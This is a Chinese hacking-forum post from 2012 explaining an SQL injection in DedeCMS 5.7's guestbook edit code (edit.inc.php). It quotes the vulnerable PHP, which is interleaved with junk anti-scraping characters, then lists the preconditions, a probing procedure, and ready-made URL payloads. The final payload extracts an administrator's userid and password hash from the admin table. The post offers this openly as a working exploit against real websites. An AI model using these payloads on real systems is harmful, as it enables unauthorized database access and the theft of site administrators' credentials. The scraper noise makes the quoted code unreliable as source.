找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3609|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
3 Z/ B2 K( @: z# i- ^5 Z. R$ L( S: P: S  d% x0 m3 O# h
漏洞文件edit.inc.php具体代码:% ^8 w- ^6 Y! M9 i% A

8 e' U7 j3 {% z" M  ~< ?php  7 K4 W8 f1 x1 V& @4 l2 H

4 U/ k* A* J3 kif(!defined('DEDEINC')) exit('Request Error!');  3 w5 H" ]  q1 U  F) v

( U/ X, H) D3 k/ I/ J& Q( p   
, \0 {3 p# |" V5 l/ ~8 h+ R2 Q& ]) X3 i/ u% v2 q1 B3 e: i
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  . G2 {" {9 W9 b1 s  w6 H
* V8 ?0 ]0 C! y
else $GUEST_BOOK_POS = "guestbook.php";  ' c/ z5 ^: X$ c* n( k5 N( x
) G- a: C* G- Z( D/ x1 \4 A: v+ ?1 D
   ! h# y, k- R( U3 V" _

- R0 y) M3 W/ }$id = intval($id);  
& A+ V+ d% c8 m* [) d
0 e" S$ u9 W+ _5 Vif(empty($job)) $job='view';  
; h& P8 p. Z, w) P& b* O8 `# d! _4 w% N
   
1 U. Q- r5 W# g$ E4 X, ^
! L' B" v5 v: Oif($job=='del' && $g_isadmin)  
; ~/ ^# z; J# i2 A0 c7 L/ ]6 T. R
, I' u& V  X' l  w{  
: [& ]1 m- c0 |5 `  r
' M7 b3 o; ?" U$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
6 s# s' A; J4 s# r% D' V% J, L5 d$ C) w3 _. c2 H! b
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
* d+ z$ ^+ I, |9 b+ q/ R# W! ~7 S; B& x+ K% e
exit();  
0 U7 Z6 j4 V; v: {5 L1 M" m1 W- j$ `8 L1 l
}  8 O6 U6 W* J5 I( [! w. @

) }! O- n% @) welse if($job=='check' && $g_isadmin)  " V* E: E$ ?7 R* k: `9 c# A. w
$ E. ]) `7 R5 J! y+ d& i5 @4 d
{  
0 `7 l% l& V  _. q1 X4 g- A) [; e9 k" L4 ?$ z
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  : x9 Z3 d8 c3 [1 E" @
5 z. T8 ]  q8 D% k1 A) a- u  H
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
% T( X* F8 m1 r/ L! B& i2 m3 V# q2 m( U+ k% G8 X5 U4 n& Q
exit();  
% A* K$ b- t& C( W6 a3 d- B9 H$ {9 e5 G# I+ O9 k/ V( w
}  ! c6 [, S( \5 G$ R4 I& }

' [: D5 t4 N: B  s' r( P" @7 xelse if($job=='editok')  
) X3 d# `9 K% q; c# E6 p! A2 V
7 D! g+ a& @8 i' Q" |9 L{  # ~! C! G9 Y0 `3 @
  J1 Y+ T! G, r3 H/ c
$remsg = trim($remsg);  ; ]# W; b1 G) k: Q9 d2 _* s& A
# Y% L2 j( M+ y
if($remsg!='')  
7 z4 R. y$ d! n  H7 L' ]! ~
. ?7 d  V/ Y. z/ d{  ( `2 W9 E4 E; I

% k- Q1 M( m8 A//管理员回复不过滤HTML By:Errorera blog:errs.cc  ( u: a' J$ r" u. M
0 p. I, ]  N3 s
if($g_isadmin)  
3 P: h9 H0 q$ n# G* s/ [
8 k% z2 R: F. n3 [{  
3 o7 b2 `7 ~9 @/ a% Q1 k- X0 Q, f9 t; r. K* a: j. h* ^, {
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  + N4 p* Y8 M$ E2 i) R9 G$ G7 I
7 V9 o: [" u4 h& V/ V- x2 s8 T; g
//$remsg <br /><font color=red>管理员回复:</font> }  / }) J9 h2 |6 y5 h
9 s: I" L9 P' L  S9 u5 f) J
else
" n8 p; W$ P$ `. h4 G) ~* Y: R! f2 k( r+ ~5 ?( w
{  4 c9 m# y( ?! f3 X5 b4 X1 r
. N, k$ M/ s: r& o5 Z0 J
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
0 r* u2 m' }% u0 s
! C$ [! o  P3 x6 \8 N) d. b6 C$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  4 p1 u6 S9 B' A( W6 x7 m

' _  @4 C/ [* \8 ]. S  e0 p: f" s. g$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
! ]7 V) [0 P) ^0 B5 V5 J+ W$ k& m# j
$msg = $oldmsg.$remsg;  $ K. _# r" f/ P3 h4 @) o$ W' k4 K0 m

1 G8 k; O- X. r2 w( a# [2 O}  # L7 q, |+ X- y9 a! r7 U5 C& N# G
2 b2 T  U5 d9 R
}  , |4 c$ z! u; H8 M( V
% m1 u  Y( D1 b4 }# G1 D: B
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
1 \- V- o% m. k3 e; M) i& t& _0 W9 Y! Y+ C
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
# w- R& ~# }. ]7 x8 \5 q' N' t$ ]. J
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
) J* V5 F9 X' b6 G0 |3 K0 s# H. Z0 o& A1 ^" ^' h
exit();  7 _, G6 x2 X) i3 \" n4 Q, T

# _( X& N4 \+ Y0 }, @! P5 b}  $ @- |' q& y9 V0 u4 x  k4 w& D' x
; b! r( c% J% z8 ^" Q4 B
//home:www.errs.cc  $ h! {! X5 S  M6 o

* X7 H4 Q: W4 R* b; a8 \if($g_isadmin)  - `4 F' N' [. V" }: s& g

' r7 M/ t/ y" O$ ~{  3 V' ]( g8 e& M7 w* l% j

5 D' h+ g9 x* K9 p6 M3 @$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
6 m2 l. o4 V& p. O* R! q* j/ G
" Y: i3 L* n" [  i% n; l( zrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  % n2 _! ], B! c) U3 p) G

/ F0 ?6 I9 v. z- [2 G}  
2 C) {/ X+ L! y5 o- c% n7 {3 L
5 d( I; A9 t/ t% r8 Jelse
. e9 h. r& z* o8 [+ z6 E8 i8 z. V& O- |/ e$ Y& M1 J( E
{  + Y" z  W2 `8 F- h2 M8 V

0 i$ }9 V8 u9 ?& Q0 Z# Z7 _$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  $ J; v, H8 a8 Z* w/ J& k
8 l* F3 Z8 z! z( n' f
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  * r  ~! y' k% R7 P# r  Q
2 B1 B" A+ \: G) H. G3 P
} 漏洞成功需要条件:$ j0 r1 Q5 i. V9 @! R
1. php magic_quotes_gpc=off
2 `; v) C' d' t' m8 O8 L2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
! {) k5 Z: r) }0 l
4 P& e5 ?- ]1 A1 \9 Y: Y  K6 M怎么判断是否存在漏洞:3 m! t4 G2 I# ?4 ^, z- Y  P! T4 {
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
1 {: {; g* B/ _, @2 ?) f然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID( ~4 ]( y: `! x- s% P0 s% S4 x+ z' O
访问:
" m, ~$ Y# R4 a6 Y& b- K: v
9 i- [$ _. m' f+ s4 p0 w' z# B2 mwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
4 l% t$ ~' j1 N跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. e9 l& G3 Z7 i0 F( V$ m0 e! d2 A& n+ _9 R
( r! [% B4 I* S$ h9 k6 |
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off' D# k1 T& n6 T5 N; H
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。/ s- v5 w' M: t0 \
那么再次访问2 I6 a/ n& [' n- t' i

  d8 G2 ^. i7 P0 M4 o" @- Uwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().% w$ P  G+ S: W: v: v

- K8 X5 g: b9 b. q! s2 _大概利用就是这样,大家有兴趣的多研究下!!
! Z2 f& F6 J' y& C  X: i
0 d6 i) \5 ^3 `5 v+ V最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!& J  r; w. [( O6 ^* T  S+ g1 X5 p
' p2 g; ^* G3 b6 n: g7 K/ |
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表